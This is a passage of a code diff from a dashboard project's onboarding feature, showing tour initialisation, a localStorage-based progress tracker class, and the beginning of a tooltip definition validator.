console.log('[Onboarding] Error Handler initialized');
|
||||||
|
|
||||||
// Initialize Progress Tracker
|
// Initialize Progress Tracker
|
||||||
progressTracker = new ProgressTracker('dashcaddy_onboarding');
|
progressTracker = new ProgressTracker('dashcaddy_onboarding');
|
||||||
console.log('[Onboarding] Progress Tracker initialized');
|
console.log('[Onboarding] Progress Tracker initialized');
|
||||||
|
|
||||||
// Initialize Theme Adapter
|
// Initialize Theme Adapter
|
||||||
themeAdapter = new ThemeAdapter();
|
themeAdapter = new ThemeAdapter();
|
||||||
console.log('[Onboarding] Theme Adapter initialized');
|
console.log('[Onboarding] Theme Adapter initialized');
|
||||||
|
|
||||||
// Initialize DNS Template Selector
|
// Initialize DNS Template Selector
|
||||||
dnsTemplateSelector = new DnsTemplateSelector(progressTracker);
|
dnsTemplateSelector = new DnsTemplateSelector(progressTracker);
|
||||||
console.log('[Onboarding] DNS Template Selector initialized');
|
console.log('[Onboarding] DNS Template Selector initialized');
|
||||||
|
|
||||||
// Initialize Tour Manager
|
// Initialize Tour Manager
|
||||||
tourManager = new TourManager(progressTracker, themeAdapter, dnsTemplateSelector);
|
tourManager = new TourManager(progressTracker, themeAdapter, dnsTemplateSelector);
|
||||||
console.log('[Onboarding] Tour Manager initialized');
|
console.log('[Onboarding] Tour Manager initialized');
|
||||||
|
|
||||||
// Check if tour should auto-start
|
// Check if tour should auto-start
|
||||||
if (tourManager.shouldAutoStart()) {
|
if (tourManager.shouldAutoStart()) {
|
||||||
console.log('[Onboarding] Auto-starting tour for first-time user');
|
console.log('[Onboarding] Auto-starting tour for first-time user');
|
||||||
// Wait a bit for page to fully load
|
// Wait a bit for page to fully load
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
tourManager.startTour();
|
tourManager.startTour();
|
||||||
}, 1000);
|
}, 1000);
|
||||||
} else {
|
} else {
|
||||||
const tourCompleted = progressTracker.isTourCompleted();
|
const tourCompleted = progressTracker.isTourCompleted();
|
||||||
const currentStep = progressTracker.getCurrentStep();
|
const currentStep = progressTracker.getCurrentStep();
|
||||||
console.log(`[Onboarding] Tour not auto-starting (completed: ${tourCompleted}, step: ${currentStep})`);
|
console.log(`[Onboarding] Tour not auto-starting (completed: ${tourCompleted}, step: ${currentStep})`);
|
||||||
|
|
||||||
// If tour is in progress, offer to resume
|
// If tour is in progress, offer to resume
|
||||||
if (!tourCompleted && currentStep > 0) {
|
if (!tourCompleted && currentStep > 0) {
|
||||||
console.log('[Onboarding] Tour in progress, can be resumed manually');
|
console.log('[Onboarding] Tour in progress, can be resumed manually');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Add restart tour button to tools row
|
// Add restart tour button to tools row
|
||||||
addRestartTourButton();
|
addRestartTourButton();
|
||||||
|
|
||||||
// Expose to global scope for manual triggering
|
// Expose to global scope for manual triggering
|
||||||
window.DashCaddyOnboarding = {
|
window.DashCaddyOnboarding = {
|
||||||
startTour: () => tourManager.startTour(),
|
startTour: () => tourManager.startTour(),
|
||||||
restartTour: () => tourManager.restartTour(),
|
restartTour: () => tourManager.restartTour(),
|
||||||
showTooltip: (id) => tourManager.showTooltip(id),
|
showTooltip: (id) => tourManager.showTooltip(id),
|
||||||
showWhatsNew: () => tourManager.showWhatsNew(),
|
showWhatsNew: () => tourManager.showWhatsNew(),
|
||||||
resetProgress: () => progressTracker.resetProgress(),
|
resetProgress: () => progressTracker.resetProgress(),
|
||||||
getErrors: () => errorHandler.getErrors(),
|
getErrors: () => errorHandler.getErrors(),
|
||||||
getErrorStats: () => errorHandler.getStatistics()
|
getErrorStats: () => errorHandler.getStatistics()
|
||||||
};
|
};
|
||||||
|
|
||||||
console.log('[Onboarding] System initialized successfully');
|
console.log('[Onboarding] System initialized successfully');
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('[Onboarding] Initialization error:', error);
|
console.error('[Onboarding] Initialization error:', error);
|
||||||
|
|
||||||
// Use error handler if available
|
// Use error handler if available
|
||||||
if (errorHandler) {
|
if (errorHandler) {
|
||||||
errorHandler.logError('Initialization', error);
|
errorHandler.logError('Initialization', error);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Graceful degradation - don't break the dashboard
|
// Graceful degradation - don't break the dashboard
|
||||||
console.warn('[Onboarding] System failed to initialize, dashboard will continue without onboarding');
|
console.warn('[Onboarding] System failed to initialize, dashboard will continue without onboarding');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Add restart tour button to tools row
|
* Add restart tour button to tools row
|
||||||
*/
|
*/
|
||||||
function addRestartTourButton() {
|
function addRestartTourButton() {
|
||||||
const toolsRow = document.querySelector('.tools');
|
const toolsRow = document.querySelector('.tools');
|
||||||
if (!toolsRow) return;
|
if (!toolsRow) return;
|
||||||
|
|
||||||
const clickHandler = () => {
|
const clickHandler = () => {
|
||||||
if (tourManager) {
|
if (tourManager) {
|
||||||
console.log('[Onboarding] Starting tour via button click');
|
console.log('[Onboarding] Starting tour via button click');
|
||||||
tourManager.restartTour();
|
tourManager.restartTour();
|
||||||
} else {
|
} else {
|
||||||
console.error('[Onboarding] Tour manager not initialized');
|
console.error('[Onboarding] Tour manager not initialized');
|
||||||
alert('Tour is not available. Check browser console for errors.\n\nPossible issues:\n- Driver.js library failed to load\n- JavaScript errors during initialization');
|
alert('Tour is not available. Check browser console for errors.\n\nPossible issues:\n- Driver.js library failed to load\n- JavaScript errors during initialization');
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
// If button already exists in the HTML, just attach the handler
|
// If button already exists in the HTML, just attach the handler
|
||||||
const existing = document.getElementById('restart-tour-btn');
|
const existing = document.getElementById('restart-tour-btn');
|
||||||
if (existing) {
|
if (existing) {
|
||||||
existing.onclick = clickHandler;
|
existing.onclick = clickHandler;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
const button = document.createElement('button');
|
const button = document.createElement('button');
|
||||||
button.id = 'restart-tour-btn';
|
button.id = 'restart-tour-btn';
|
||||||
button.textContent = 'Help Tour';
|
button.textContent = 'Help Tour';
|
||||||
button.title = 'Restart the onboarding tour';
|
button.title = 'Restart the onboarding tour';
|
||||||
button.onclick = clickHandler;
|
button.onclick = clickHandler;
|
||||||
toolsRow.appendChild(button);
|
toolsRow.appendChild(button);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Check if Driver.js is loaded
|
* Check if Driver.js is loaded
|
||||||
*/
|
*/
|
||||||
function checkDriverLoaded() {
|
function checkDriverLoaded() {
|
||||||
// Driver.js v1.x IIFE: window.driver.js.driver is the factory function
|
// Driver.js v1.x IIFE: window.driver.js.driver is the factory function
|
||||||
const driverFactory = window.driver?.js?.driver || window.driver?.driver || window.driver;
|
const driverFactory = window.driver?.js?.driver || window.driver?.driver || window.driver;
|
||||||
if (typeof driverFactory !== 'function') {
|
if (typeof driverFactory !== 'function') {
|
||||||
console.warn('[Onboarding] Driver.js not loaded yet, will retry... window.driver:', window.driver);
|
console.warn('[Onboarding] Driver.js not loaded yet, will retry... window.driver:', window.driver);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Wait for Driver.js to load, then initialize
|
* Wait for Driver.js to load, then initialize
|
||||||
*/
|
*/
|
||||||
function waitForDriver() {
|
function waitForDriver() {
|
||||||
let retries = 0;
|
let retries = 0;
|
||||||
const maxRetries = 10;
|
const maxRetries = 10;
|
||||||
|
|
||||||
function attemptInit() {
|
function attemptInit() {
|
||||||
if (checkDriverLoaded()) {
|
if (checkDriverLoaded()) {
|
||||||
initializeOnboarding();
|
initializeOnboarding();
|
||||||
} else {
|
} else {
|
||||||
retries++;
|
retries++;
|
||||||
if (retries < maxRetries) {
|
if (retries < maxRetries) {
|
||||||
// Retry after a short delay
|
// Retry after a short delay
|
||||||
setTimeout(attemptInit, 500);
|
setTimeout(attemptInit, 500);
|
||||||
} else {
|
} else {
|
||||||
// Max retries reached, show fallback
|
// Max retries reached, show fallback
|
||||||
console.error('[Onboarding] Driver.js failed to load after multiple attempts');
|
console.error('[Onboarding] Driver.js failed to load after multiple attempts');
|
||||||
if (errorHandler) {
|
if (errorHandler) {
|
||||||
errorHandler.handleDriverLoadFailure();
|
errorHandler.handleDriverLoadFailure();
|
||||||
} else {
|
} else {
|
||||||
// Create temporary error handler for fallback
|
// Create temporary error handler for fallback
|
||||||
const tempHandler = new ErrorHandler();
|
const tempHandler = new ErrorHandler();
|
||||||
tempHandler.handleDriverLoadFailure();
|
tempHandler.handleDriverLoadFailure();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
attemptInit();
|
attemptInit();
|
||||||
}
|
}
|
||||||
|
|
||||||
// Start initialization when DOM is ready
|
// Start initialization when DOM is ready
|
||||||
if (document.readyState === 'loading') {
|
if (document.readyState === 'loading') {
|
||||||
document.addEventListener('DOMContentLoaded', waitForDriver);
|
document.addEventListener('DOMContentLoaded', waitForDriver);
|
||||||
} else {
|
} else {
|
||||||
waitForDriver();
|
waitForDriver();
|
||||||
}
|
}
|
||||||
|
|
||||||
console.log('[Onboarding] System loaded');
|
console.log('[Onboarding] System loaded');
|
||||||
|
|
||||||
})();
|
})();
|
||||||
|
|||||||
@@ -1,282 +1,282 @@
|
|||||||
/**
|
/**
|
||||||
* Progress Tracker
|
* Progress Tracker
|
||||||
* Manages persistent storage of user progress through the onboarding flow
|
* Manages persistent storage of user progress through the onboarding flow
|
||||||
* using browser local storage.
|
* using browser local storage.
|
||||||
*
|
*
|
||||||
* Storage Schema:
|
* Storage Schema:
|
||||||
* {
|
* {
|
||||||
* "version": "1.0",
|
* "version": "1.0",
|
||||||
* "tourCompleted": false,
|
* "tourCompleted": false,
|
||||||
* "completedTooltips": ["welcome", "dns-priority", ...],
|
* "completedTooltips": ["welcome", "dns-priority", ...],
|
||||||
* "currentStep": 3,
|
* "currentStep": 3,
|
||||||
* "completionTimestamp": "2024-01-15T10:30:00Z",
|
* "completionTimestamp": "2024-01-15T10:30:00Z",
|
||||||
* "dnsSetupDeferred": false,
|
* "dnsSetupDeferred": false,
|
||||||
* "lastVisit": "2024-01-15T10:30:00Z"
|
* "lastVisit": "2024-01-15T10:30:00Z"
|
||||||
* }
|
* }
|
||||||
*/
|
*/
|
||||||
|
|
||||||
(function(window) {
|
(function(window) {
|
||||||
'use strict';
|
'use strict';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* ProgressTracker class
|
* ProgressTracker class
|
||||||
* Manages persistent storage of onboarding progress
|
* Manages persistent storage of onboarding progress
|
||||||
*
|
*
|
||||||
* @class
|
* @class
|
||||||
* @param {string} storageKey - The key to use for local storage (default: 'dashcaddy_onboarding')
|
* @param {string} storageKey - The key to use for local storage (default: 'dashcaddy_onboarding')
|
||||||
*/
|
*/
|
||||||
class ProgressTracker {
|
class ProgressTracker {
|
||||||
constructor(storageKey = 'dashcaddy_onboarding') {
|
constructor(storageKey = 'dashcaddy_onboarding') {
|
||||||
this.storageKey = storageKey;
|
this.storageKey = storageKey;
|
||||||
this.storageVersion = '1.0';
|
this.storageVersion = '1.0';
|
||||||
|
|
||||||
// Initialize storage if it doesn't exist
|
// Initialize storage if it doesn't exist
|
||||||
this._initializeStorage();
|
this._initializeStorage();
|
||||||
|
|
||||||
// Update last visit timestamp
|
// Update last visit timestamp
|
||||||
this._updateLastVisit();
|
this._updateLastVisit();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Initialize storage with default values if it doesn't exist
|
* Initialize storage with default values if it doesn't exist
|
||||||
* @private
|
* @private
|
||||||
*/
|
*/
|
||||||
_initializeStorage() {
|
_initializeStorage() {
|
||||||
const existing = this._getStorage();
|
const existing = this._getStorage();
|
||||||
if (!existing || existing.version !== this.storageVersion) {
|
if (!existing || existing.version !== this.storageVersion) {
|
||||||
const defaultState = {
|
const defaultState = {
|
||||||
version: this.storageVersion,
|
version: this.storageVersion,
|
||||||
tourCompleted: false,
|
tourCompleted: false,
|
||||||
completedTooltips: [],
|
completedTooltips: [],
|
||||||
currentStep: 0,
|
currentStep: 0,
|
||||||
completionTimestamp: null,
|
completionTimestamp: null,
|
||||||
dnsSetupDeferred: false,
|
dnsSetupDeferred: false,
|
||||||
lastVisit: new Date().toISOString()
|
lastVisit: new Date().toISOString()
|
||||||
};
|
};
|
||||||
this._setStorage(defaultState);
|
this._setStorage(defaultState);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the current storage state
|
* Get the current storage state
|
||||||
* @private
|
* @private
|
||||||
* @returns {Object|null} The storage state or null if unavailable
|
* @returns {Object|null} The storage state or null if unavailable
|
||||||
*/
|
*/
|
||||||
_getStorage() {
|
_getStorage() {
|
||||||
try {
|
try {
|
||||||
const data = localStorage.getItem(this.storageKey);
|
const data = localStorage.getItem(this.storageKey);
|
||||||
return data ? JSON.parse(data) : null;
|
return data ? JSON.parse(data) : null;
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('[ProgressTracker] Error reading from storage:', error);
|
console.error('[ProgressTracker] Error reading from storage:', error);
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Set the storage state
|
* Set the storage state
|
||||||
* @private
|
* @private
|
||||||
* @param {Object} state - The state to save
|
* @param {Object} state - The state to save
|
||||||
*/
|
*/
|
||||||
_setStorage(state) {
|
_setStorage(state) {
|
||||||
try {
|
try {
|
||||||
localStorage.setItem(this.storageKey, JSON.stringify(state));
|
localStorage.setItem(this.storageKey, JSON.stringify(state));
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('[ProgressTracker] Error writing to storage:', error);
|
console.error('[ProgressTracker] Error writing to storage:', error);
|
||||||
// Handle quota exceeded or storage unavailable
|
// Handle quota exceeded or storage unavailable
|
||||||
// Fall back to session storage or in-memory storage
|
// Fall back to session storage or in-memory storage
|
||||||
this._handleStorageError(error);
|
this._handleStorageError(error);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Handle storage errors (quota exceeded, unavailable, etc.)
|
* Handle storage errors (quota exceeded, unavailable, etc.)
|
||||||
* @private
|
* @private
|
||||||
* @param {Error} error - The error that occurred
|
* @param {Error} error - The error that occurred
|
||||||
*/
|
*/
|
||||||
_handleStorageError(error) {
|
_handleStorageError(error) {
|
||||||
// Try session storage as fallback
|
// Try session storage as fallback
|
||||||
try {
|
try {
|
||||||
sessionStorage.setItem(this.storageKey, JSON.stringify(this._getStorage()));
|
sessionStorage.setItem(this.storageKey, JSON.stringify(this._getStorage()));
|
||||||
console.warn('[ProgressTracker] Falling back to session storage');
|
console.warn('[ProgressTracker] Falling back to session storage');
|
||||||
} catch (sessionError) {
|
} catch (sessionError) {
|
||||||
console.error('[ProgressTracker] Session storage also unavailable:', sessionError);
|
console.error('[ProgressTracker] Session storage also unavailable:', sessionError);
|
||||||
// Could implement in-memory fallback here if needed
|
// Could implement in-memory fallback here if needed
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Update the last visit timestamp
|
* Update the last visit timestamp
|
||||||
* @private
|
* @private
|
||||||
*/
|
*/
|
||||||
_updateLastVisit() {
|
_updateLastVisit() {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (state) {
|
if (state) {
|
||||||
state.lastVisit = new Date().toISOString();
|
state.lastVisit = new Date().toISOString();
|
||||||
this._setStorage(state);
|
this._setStorage(state);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Check if a specific tooltip has been completed
|
* Check if a specific tooltip has been completed
|
||||||
* @param {string} tooltipId - The ID of the tooltip to check
|
* @param {string} tooltipId - The ID of the tooltip to check
|
||||||
* @returns {boolean} True if the tooltip has been completed
|
* @returns {boolean} True if the tooltip has been completed
|
||||||
*/
|
*/
|
||||||
isTooltipCompleted(tooltipId) {
|
isTooltipCompleted(tooltipId) {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (!state) return false;
|
if (!state) return false;
|
||||||
return state.completedTooltips.includes(tooltipId);
|
return state.completedTooltips.includes(tooltipId);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Mark a tooltip as completed with timestamp
|
* Mark a tooltip as completed with timestamp
|
||||||
* @param {string} tooltipId - The ID of the tooltip to mark as completed
|
* @param {string} tooltipId - The ID of the tooltip to mark as completed
|
||||||
*/
|
*/
|
||||||
markTooltipCompleted(tooltipId) {
|
markTooltipCompleted(tooltipId) {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (!state) return;
|
if (!state) return;
|
||||||
|
|
||||||
// Add tooltip to completed list if not already there
|
// Add tooltip to completed list if not already there
|
||||||
if (!state.completedTooltips.includes(tooltipId)) {
|
if (!state.completedTooltips.includes(tooltipId)) {
|
||||||
state.completedTooltips.push(tooltipId);
|
state.completedTooltips.push(tooltipId);
|
||||||
|
|
||||||
// Store timestamp for this specific tooltip
|
// Store timestamp for this specific tooltip
|
||||||
if (!state.tooltipTimestamps) {
|
if (!state.tooltipTimestamps) {
|
||||||
state.tooltipTimestamps = {};
|
state.tooltipTimestamps = {};
|
||||||
}
|
}
|
||||||
state.tooltipTimestamps[tooltipId] = new Date().toISOString();
|
state.tooltipTimestamps[tooltipId] = new Date().toISOString();
|
||||||
|
|
||||||
this._setStorage(state);
|
this._setStorage(state);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Check if the entire tour has been completed
|
* Check if the entire tour has been completed
|
||||||
* @returns {boolean} True if the tour is completed
|
* @returns {boolean} True if the tour is completed
|
||||||
*/
|
*/
|
||||||
isTourCompleted() {
|
isTourCompleted() {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (!state) return false;
|
if (!state) return false;
|
||||||
return state.tourCompleted === true;
|
return state.tourCompleted === true;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Mark the entire tour as completed
|
* Mark the entire tour as completed
|
||||||
*/
|
*/
|
||||||
markTourCompleted() {
|
markTourCompleted() {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (!state) return;
|
if (!state) return;
|
||||||
|
|
||||||
state.tourCompleted = true;
|
state.tourCompleted = true;
|
||||||
state.completionTimestamp = new Date().toISOString();
|
state.completionTimestamp = new Date().toISOString();
|
||||||
this._setStorage(state);
|
this._setStorage(state);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the current step index
|
* Get the current step index
|
||||||
* @returns {number} The current step index (0-based)
|
* @returns {number} The current step index (0-based)
|
||||||
*/
|
*/
|
||||||
getCurrentStep() {
|
getCurrentStep() {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (!state) return 0;
|
if (!state) return 0;
|
||||||
return state.currentStep || 0;
|
return state.currentStep || 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Set the current step index
|
* Set the current step index
|
||||||
* @param {number} stepIndex - The step index to set (0-based)
|
* @param {number} stepIndex - The step index to set (0-based)
|
||||||
*/
|
*/
|
||||||
setCurrentStep(stepIndex) {
|
setCurrentStep(stepIndex) {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (!state) return;
|
if (!state) return;
|
||||||
|
|
||||||
state.currentStep = stepIndex;
|
state.currentStep = stepIndex;
|
||||||
this._setStorage(state);
|
this._setStorage(state);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Reset all progress and clear storage
|
* Reset all progress and clear storage
|
||||||
*/
|
*/
|
||||||
resetProgress() {
|
resetProgress() {
|
||||||
const defaultState = {
|
const defaultState = {
|
||||||
version: this.storageVersion,
|
version: this.storageVersion,
|
||||||
tourCompleted: false,
|
tourCompleted: false,
|
||||||
completedTooltips: [],
|
completedTooltips: [],
|
||||||
currentStep: 0,
|
currentStep: 0,
|
||||||
completionTimestamp: null,
|
completionTimestamp: null,
|
||||||
dnsSetupDeferred: false,
|
dnsSetupDeferred: false,
|
||||||
lastVisit: new Date().toISOString()
|
lastVisit: new Date().toISOString()
|
||||||
};
|
};
|
||||||
this._setStorage(defaultState);
|
this._setStorage(defaultState);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the completion timestamp
|
* Get the completion timestamp
|
||||||
* @returns {Date|null} The completion timestamp or null if not completed
|
* @returns {Date|null} The completion timestamp or null if not completed
|
||||||
*/
|
*/
|
||||||
getCompletionTimestamp() {
|
getCompletionTimestamp() {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (!state || !state.completionTimestamp) return null;
|
if (!state || !state.completionTimestamp) return null;
|
||||||
return new Date(state.completionTimestamp);
|
return new Date(state.completionTimestamp);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Check if DNS setup was deferred
|
* Check if DNS setup was deferred
|
||||||
* @returns {boolean} True if DNS setup was deferred
|
* @returns {boolean} True if DNS setup was deferred
|
||||||
*/
|
*/
|
||||||
isDnsSetupDeferred() {
|
isDnsSetupDeferred() {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (!state) return false;
|
if (!state) return false;
|
||||||
return state.dnsSetupDeferred === true;
|
return state.dnsSetupDeferred === true;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Mark DNS setup as deferred
|
* Mark DNS setup as deferred
|
||||||
*/
|
*/
|
||||||
markDnsSetupDeferred() {
|
markDnsSetupDeferred() {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (!state) return;
|
if (!state) return;
|
||||||
|
|
||||||
state.dnsSetupDeferred = true;
|
state.dnsSetupDeferred = true;
|
||||||
this._setStorage(state);
|
this._setStorage(state);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the timestamp for a specific tooltip completion
|
* Get the timestamp for a specific tooltip completion
|
||||||
* @param {string} tooltipId - The ID of the tooltip
|
* @param {string} tooltipId - The ID of the tooltip
|
||||||
* @returns {Date|null} The timestamp or null if not completed
|
* @returns {Date|null} The timestamp or null if not completed
|
||||||
*/
|
*/
|
||||||
getTooltipTimestamp(tooltipId) {
|
getTooltipTimestamp(tooltipId) {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (!state || !state.tooltipTimestamps || !state.tooltipTimestamps[tooltipId]) {
|
if (!state || !state.tooltipTimestamps || !state.tooltipTimestamps[tooltipId]) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
return new Date(state.tooltipTimestamps[tooltipId]);
|
return new Date(state.tooltipTimestamps[tooltipId]);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get all completed tooltip IDs
|
* Get all completed tooltip IDs
|
||||||
* @returns {string[]} Array of completed tooltip IDs
|
* @returns {string[]} Array of completed tooltip IDs
|
||||||
*/
|
*/
|
||||||
getCompletedTooltips() {
|
getCompletedTooltips() {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (!state) return [];
|
if (!state) return [];
|
||||||
return state.completedTooltips || [];
|
return state.completedTooltips || [];
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the last visit timestamp
|
* Get the last visit timestamp
|
||||||
* @returns {Date|null} The last visit timestamp
|
* @returns {Date|null} The last visit timestamp
|
||||||
*/
|
*/
|
||||||
getLastVisit() {
|
getLastVisit() {
|
||||||
const state = this._getStorage();
|
const state = this._getStorage();
|
||||||
if (!state || !state.lastVisit) return null;
|
if (!state || !state.lastVisit) return null;
|
||||||
return new Date(state.lastVisit);
|
return new Date(state.lastVisit);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Export to global scope
|
// Export to global scope
|
||||||
window.ProgressTracker = ProgressTracker;
|
window.ProgressTracker = ProgressTracker;
|
||||||
|
|
||||||
console.log('[ProgressTracker] Module loaded');
|
console.log('[ProgressTracker] Module loaded');
|
||||||
|
|
||||||
})(window);
|
})(window);
|
||||||
|
|||||||
@@ -1,337 +1,337 @@
|
|||||||
/**
|
/**
|
||||||
* Tooltip Definitions
|
* Tooltip Definitions
|
||||||
* Defines all tooltip content, positioning, and behavior for the onboarding system
|
* Defines all tooltip content, positioning, and behavior for the onboarding system
|
||||||
*/
|
*/
|
||||||
|
|
||||||
(function(window) {
|
(function(window) {
|
||||||
'use strict';
|
'use strict';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Validate a tooltip definition
|
* Validate a tooltip definition
|
||||||
* @param {Object} tooltip - The tooltip definition to validate
|
* @param {Object} tooltip - The tooltip definition to validate
|
||||||
* @returns {Object} { valid: boolean, errors: string[] }
|
* @returns {Object} { valid: boolean, errors: string[] }
|
||||||
*/
|
*/
|
||||||
function validateTooltipDefinition(tooltip) {
|
function validateTooltipDefinition(tooltip) {
|
||||||
const errors = [];
|
const errors = [];
|
||||||
|
|
||||||
// Required fields
|
// Required fields
|
||||||
if (!tooltip.id || typeof tooltip.id !== 'string') {
|
if (!tooltip.id || typeof tooltip.id !== 'string') {
|
||||||
errors.push('Tooltip must have a valid string id');
|
errors.push('Tooltip must have a valid string id');
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!tooltip.element) {
|
if (!tooltip.element) {
|
||||||
errors.push('Tooltip must have an element selector or HTMLElement');
|
errors.push('Tooltip must have an element selector or HTMLElement');
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!tooltip.popover || typeof tooltip.popover !== 'object') {
|
if (!tooltip.popover || typeof tooltip.popover !== 'object') {
|
||||||
errors.push('Tooltip must have a popover object');
|
errors.push('Tooltip must have a popover object');
|
||||||
} else {
|
} else {
|
||||||
// Validate popover fields
|
// Validate popover fields
|
||||||
if (!tooltip.popover.title || typeof tooltip.popover.title !== 'string') {
|
if (!tooltip.popover.title || typeof tooltip.popover.title !== 'string') {
|
||||||
errors.push('Tooltip popover must have a valid string title');
|
errors.push('Tooltip popover must have a valid string title');
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!tooltip.popover.description || typeof tooltip.popover.description !== 'string') {
|
if (!tooltip.popover.description || typeof tooltip.popover.description !== 'string') {
|
||||||
errors.push('Tooltip popover must have a valid string description');
|
errors.push('Tooltip popover must have a valid string description');
|
||||||
}
|
}
|
||||||
|
|
||||||
// Validate position if provided
|
// Validate position if provided
|
||||||
if (tooltip.popover.position) {
|
if (tooltip.popover.position) {
|
||||||
const validPositions = ['top', 'bottom', 'left', 'right', 'center'];
|
const validPositions = ['top', 'bottom', 'left', 'right', 'center'];
|
||||||
if (!validPositions.includes(tooltip.popover.position)) {
|
if (!validPositions.includes(tooltip.popover.position)) {
|
||||||
errors.push(`Invalid position: ${tooltip.popover.position}. Must be one of: ${validPositions.join(', ')}`);
|
errors.push(`Invalid position: ${tooltip.popover.position}. Must be one of: ${validPositions.join(', ')}`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Validate align if provided
|
// Validate align if provided
|
||||||
if (tooltip.popover.align) {
|
if (tooltip.popover.align) {
|
||||||
const validAligns = ['start', 'center', 'end'];
|
const validAligns = ['start', 'center', 'end'];
|
||||||
if (!validAligns.includes(tooltip.popover.align)) {
|
if (!validAligns.includes(tooltip.popover.align)) {
|
||||||
errors.push(`Invalid align: ${tooltip.popover.align}. Must be one of: ${validAligns.join(', ')}`);
|
errors.push(`Invalid align: ${tooltip.popover.align}. Must be one of: ${validAligns.join(', ')}`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Validate showButtons if provided
|
// Validate showButtons if provided
|
||||||
if (tooltip.popover.showButtons && !Array.isArray(tooltip.popover.showButtons)) {
|
if (tooltip.popover.showButtons && !Array.isArray(tooltip.popover.showButtons)) {
|
||||||
errors.push('showButtons must be an array');
|
errors.push('showButtons must be an array');
|
||||||
}
|
}
|
||||||
|
|
||||||
// Validate callbacks if provided
|
// Validate callbacks if provided
|
||||||
const callbacks = ['onNext', 'onPrevious', 'onClose', 'onSetupNow', 'onLater'];
|
const callbacks = ['onNext', 'onPrevious', 'onClose', 'onSetupNow', 'onLater'];
|
||||||
callbacks.forEach(callback => {
|
callbacks.forEach(callback => {
|
||||||
if (tooltip.popover[callback] && typeof tooltip.popover[callback] !== 'function') {
|
if (tooltip.popover[callback] && typeof tooltip.popover[callback] !== 'function') {
|
||||||
errors.push(`${callback} must be a function`);
|
errors.push(`${callback} must be a function`);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
// Validate condition if provided
|
// Validate condition if provided
|
||||||
if (tooltip.condition && typeof tooltip.condition !== 'function') {
|
if (tooltip.condition && typeof tooltip.condition !== 'function') {
|
||||||
errors.push('condition must be a function');
|
errors.push('condition must be a function');
|
||||||
}
|
}
|
||||||
|
|
||||||
// Validate priority if provided
|
// Validate priority if provided
|
||||||
if (tooltip.priority !== undefined && typeof tooltip.priority !== 'number') {
|
if (tooltip.priority !== undefined && typeof tooltip.priority !== 'number') {
|
||||||
errors.push('priority must be a number');
|
errors.push('priority must be a number');
|
||||||
}
|
}
|
||||||
|
|
||||||
return {
|
return {
|
||||||
valid: errors.length === 0,
|
valid: errors.length === 0,
|
||||||
errors
